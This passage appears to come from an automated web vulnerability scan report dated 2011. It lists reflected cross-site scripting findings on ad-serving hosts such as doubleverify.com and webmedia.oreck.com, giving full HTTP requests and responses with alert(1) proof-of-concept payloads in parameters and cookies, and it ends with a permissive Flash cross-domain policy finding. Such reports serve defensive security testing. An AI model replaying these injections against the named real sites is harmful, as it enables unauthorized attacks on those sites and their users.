The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d29e"%3balert(1)//423b4752c6c was submitted in the mpvc parameter. This input was echoed as 3d29e";alert(1)//423b4752c6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload 5c352<script>alert(1)</script>41b3f27eee6 was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
/* * JavaScript include error: * The customer code "I098395C352<SCRIPT>ALERT(1)</SCRIPT>41B3F27EEE6" was not recognized. */
5.62. http://survey.questionmarket.com/surv/913131/newai.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://survey.questionmarket.com
Path:
/surv/913131/newai.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 8091f><script>alert(1)</script>6105b19a1aabc213a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the plc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 14554'%3balert(1)//a7e15116687 was submitted in the plc parameter. This input was echoed as 14554';alert(1)//a7e15116687 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /visit.js?ctx=936622&cmp=1059600&crt=&crtname=&adnet=&dvtagver=3.3.1346.2176&adsrv=8&plc=16161131810279093014554'%3balert(1)//a7e15116687&advid=421303&sid=161611318102790930&adid=&&num=312&srcurl=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&curl=&qpgid= HTTP/1.1 Host: tps31.doubleverify.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://img.mediaplex.com/content/0/16161/131810/CBD_P3Consumer_MyMoneyMap_GoDirect_728x90_V1R1.html?mpck=adfarm.mediaplex.com%2Fad%2Fck%2F16161-131810-27909-30%3Fmpt%3D%5B187845622ER%5D&mpjs=amch.questionmarket.com%2Fadscgen%2Fsta.php%3Fsurvey_num%3D913131%26site%3D161611318102790930%26code%3D8095899%26ut_sys%3Dmplx%20cdn.doubleverify.com%2Fscript312.js%3Fagnc%3D936622%26cmp%3D1059600%26crt%3D%26crtname%3D%26adnet%3D%26dvtagver%3D3.3.1346.2176%26adsrv%3D8%26plc%3D161611318102790930%26advid%3D421303%26sid%3D161611318102790930%26adid%3D%20img-cdn.mediaplex.com%2F0%2F16161%2FNielsen_pixel.js%3Fcrid%3D8095899%26plid%3D161611318102790930&mpt=[187845622ER]&mpvc=
Response
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/javascript; charset=utf-8 Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET Date: Sat, 17 Sep 2011 14:36:07 GMT Connection: close
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d772'%3balert(1)//d4b9275abe2 was submitted in the sid parameter. This input was echoed as 1d772';alert(1)//d4b9275abe2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /visit.js?ctx=936622&cmp=1059600&crt=&crtname=&adnet=&dvtagver=3.3.1346.2176&adsrv=8&plc=161611318102790930&advid=421303&sid=1616113181027909301d772'%3balert(1)//d4b9275abe2&adid=&&num=312&srcurl=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&curl=&qpgid= HTTP/1.1 Host: tps31.doubleverify.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://img.mediaplex.com/content/0/16161/131810/CBD_P3Consumer_MyMoneyMap_GoDirect_728x90_V1R1.html?mpck=adfarm.mediaplex.com%2Fad%2Fck%2F16161-131810-27909-30%3Fmpt%3D%5B187845622ER%5D&mpjs=amch.questionmarket.com%2Fadscgen%2Fsta.php%3Fsurvey_num%3D913131%26site%3D161611318102790930%26code%3D8095899%26ut_sys%3Dmplx%20cdn.doubleverify.com%2Fscript312.js%3Fagnc%3D936622%26cmp%3D1059600%26crt%3D%26crtname%3D%26adnet%3D%26dvtagver%3D3.3.1346.2176%26adsrv%3D8%26plc%3D161611318102790930%26advid%3D421303%26sid%3D161611318102790930%26adid%3D%20img-cdn.mediaplex.com%2F0%2F16161%2FNielsen_pixel.js%3Fcrid%3D8095899%26plid%3D161611318102790930&mpt=[187845622ER]&mpvc=
Response
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/javascript; charset=utf-8 Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET Date: Sat, 17 Sep 2011 14:36:17 GMT Connection: close
The value of the @CPSC@ request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8bdb2"><script>alert(1)</script>caecd352e14 was submitted in the @CPSC@ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=8bdb2"><script>alert(1)</script>caecd352e14 HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:34 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:34 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:34 GMT; path=/; domain=.oreck.com x_transtrans: 10.6.10.688 Content-Type: text/html Content-Length: 5505 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... 034&af=1119611&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&click=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=8bdb2"><script>alert(1)</script>caecd352e14http://www.oreck.com/Oreck-Graphite-Vacuum-Cleaner?keycode=DS544&ban=Graphite&cstruid=1088660_1113699_2037848_2112034_1119611_2142475"> ...[SNIP]...
The value of the @CPSC@ request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d8ba'-alert(1)-'162898ef1f3 was submitted in the @CPSC@ parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=7d8ba'-alert(1)-'162898ef1f3 HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:34 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:34 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:34 GMT; path=/; domain=.oreck.com x_transtrans: 11.6.10.688 Content-Type: text/html Content-Length: 5430 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... -%253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&ml_multiclick=clickTAG1&click=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=7d8ba'-alert(1)-'162898ef1f3http://www.oreck.com/Oreck-Graphite-Vacuum-Cleaner?keycode=DS544&ban=Graphite&cstruid=1088660_1113699_2037848_2112034_1119611_2142475') + '&clickTAG2=' + escape('http://webmedia.oreck.com/click.ng?spa ...[SNIP]...
5.67. http://webmedia.oreck.com/cookE/geoip/iframe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://webmedia.oreck.com
Path:
/cookE/geoip/iframe
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e741d"><script>alert(1)</script>b7e5f4284bb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=&e741d"><script>alert(1)</script>b7e5f4284bb=1 HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:34 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:34 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:34 GMT; path=/; domain=.oreck.com x_transtrans: 14.6.10.688 Content-Type: text/html Content-Length: 5520 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... 34&af=1119611&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&click=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=&e741d"><script>alert(1)</script>b7e5f4284bb=1http://www.oreck.com/Oreck-Graphite-Vacuum-Cleaner?keycode=DS544&ban=Graphite&cstruid=1088660_1113699_2037848_2112034_1119611_2142475"> ...[SNIP]...
5.68. http://webmedia.oreck.com/cookE/geoip/iframe [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://webmedia.oreck.com
Path:
/cookE/geoip/iframe
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e011d'-alert(1)-'816dd40d976 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=&e011d'-alert(1)-'816dd40d976=1 HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:35 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:35 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:35 GMT; path=/; domain=.oreck.com x_transtrans: .6.10.688 Content-Type: text/html Content-Length: 5445 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... %253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&ml_multiclick=clickTAG1&click=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href=&e011d'-alert(1)-'816dd40d976=1http://www.oreck.com/Oreck-Graphite-Vacuum-Cleaner?keycode=DS544&ban=Graphite&cstruid=1088660_1113699_2037848_2112034_1119611_2142475') + '&clickTAG2=' + escape('http://webmedia.oreck.com/click.ng?s ...[SNIP]...
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ccbb"><script>alert(1)</script>88c8787917c was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank1ccbb"><script>alert(1)</script>88c8787917c&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href= HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:33 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:33 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:33 GMT; path=/; domain=.oreck.com x_transtrans: 10.6.10.688 Content-Type: text/html Content-Length: 5419 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... <A TARGET="_blank1ccbb"><script>alert(1)</script>88c8787917c" HREF="http://webmedia.oreck.com/click.ng?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&click=http://clk.atdmt. ...[SNIP]...
The value of the target request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89b81'%3balert(1)//614f7906e54 was submitted in the target parameter. This input was echoed as 89b81';alert(1)//614f7906e54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cookE/geoip/iframe?spacedesc=2112034_1113699_180x150_2037848_2112034&target=_blank89b81'%3balert(1)//614f7906e54&@CPSC@=http://clk.atdmt.com/go/msnnkdrv0010001658apm/direct;wi.180;hi.150;01;ai.234564869.234602079;ct.1/01?href= HTTP/1.1 Host: webmedia.oreck.com Proxy-Connection: keep-alive Referer: http://m.adnxs.com/tt?member=280&inv_code=CP49AO&cb=404881879 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 13:06:33 GMT Server: Apache Cache-Control: no-cache, must-revalidate Expires: Tue, 1 Jan 1970 01:01:01 GMT Pragma: no-cache P3P: policyref="http://webmedia.oreck.com/p3p.xml", CP="BUS COM COR DEVa DSP NAV NOI OUR PRE STA TAIa UNI" Set-Cookie: PrefID=11-676885560; expires=Tue, 17 Sep 2013 01:06:33 GMT; path=/; domain=.oreck.com Set-Cookie: CSList=1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699,1088660/1113699; expires=Fri, 16 Dec 2011 13:06:33 GMT; path=/; domain=.oreck.com x_transtrans: 14.6.10.688 Content-Type: text/html Content-Length: 5374 Connection: close
<SCRIPT LANGUAGE="JavaScript">
function Measure_this(EV) { var img = new Image(); img.src = "http://webmedia.oreck.com/image_htmlping?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611 ...[SNIP]... OD/18369/creatives/Graphite_180x150.dir/graphite_180x150.swf'; var flash_name= '"' + swf_name + '"'; var swfVer= 100/10; var swfMime= 'application/x-shockwave-flash'; var clickTAGs= 'clickTARGET=_blank89b81';alert(1)//614f7906e54' + '&clickTAG1=' + escape('http://webmedia.oreck.com/click.ng?spacedesc=2112034_1113699_180x150_2037848_2112034&af=1119611&ml_pkgkw=-%253A%2522%2522&ml_pbi=-2112034&ml_camp=1088660&ml_crid=2142475&ml_ ...[SNIP]...
The value of the BMX_3PC cookie is copied into the HTML document as plain text between tags. The payload 47239<script>alert(1)</script>3fda164fbc8 was submitted in the BMX_3PC cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the BMX_BR cookie is copied into the HTML document as plain text between tags. The payload d388f<script>alert(1)</script>a202127003c was submitted in the BMX_BR cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the BMX_G cookie is copied into the HTML document as plain text between tags. The payload 1791d<script>alert(1)</script>6e2ddd05fd was submitted in the BMX_G cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the UID cookie is copied into the HTML document as plain text between tags. The payload fff61<script>alert(1)</script>4c70c1be1d was submitted in the UID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p107223597 cookie is copied into the HTML document as plain text between tags. The payload d1b6c<script>alert(1)</script>da4afe07d09 was submitted in the ar_p107223597 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p108883753 cookie is copied into the HTML document as plain text between tags. The payload 8f90f<script>alert(1)</script>d84fff57e96 was submitted in the ar_p108883753 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p109848095 cookie is copied into the HTML document as plain text between tags. The payload a14a6<script>alert(1)</script>65fcfcc7ab5 was submitted in the ar_p109848095 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p110620504 cookie is copied into the HTML document as plain text between tags. The payload caf23<script>alert(1)</script>3b4408060ca was submitted in the ar_p110620504 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p63514475 cookie is copied into the HTML document as plain text between tags. The payload f5a43<script>alert(1)</script>513c514c979 was submitted in the ar_p63514475 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p81479006 cookie is copied into the HTML document as plain text between tags. The payload 3caa2<script>alert(1)</script>08c614493d4 was submitted in the ar_p81479006 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p82806590 cookie is copied into the HTML document as plain text between tags. The payload b4df0<script>alert(1)</script>c5e1b9b1385 was submitted in the ar_p82806590 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p90175839 cookie is copied into the HTML document as plain text between tags. The payload a52da<script>alert(1)</script>0e18f0dae67 was submitted in the ar_p90175839 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p91136705 cookie is copied into the HTML document as plain text between tags. The payload a7b30<script>alert(1)</script>c18e1b7b6ac was submitted in the ar_p91136705 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p91143664 cookie is copied into the HTML document as plain text between tags. The payload 87988<script>alert(1)</script>beef12b139 was submitted in the ar_p91143664 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the ar_p97174789 cookie is copied into the HTML document as plain text between tags. The payload 9360d<script>alert(1)</script>4f10f0495de was submitted in the ar_p97174789 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: adserver.teracent.net
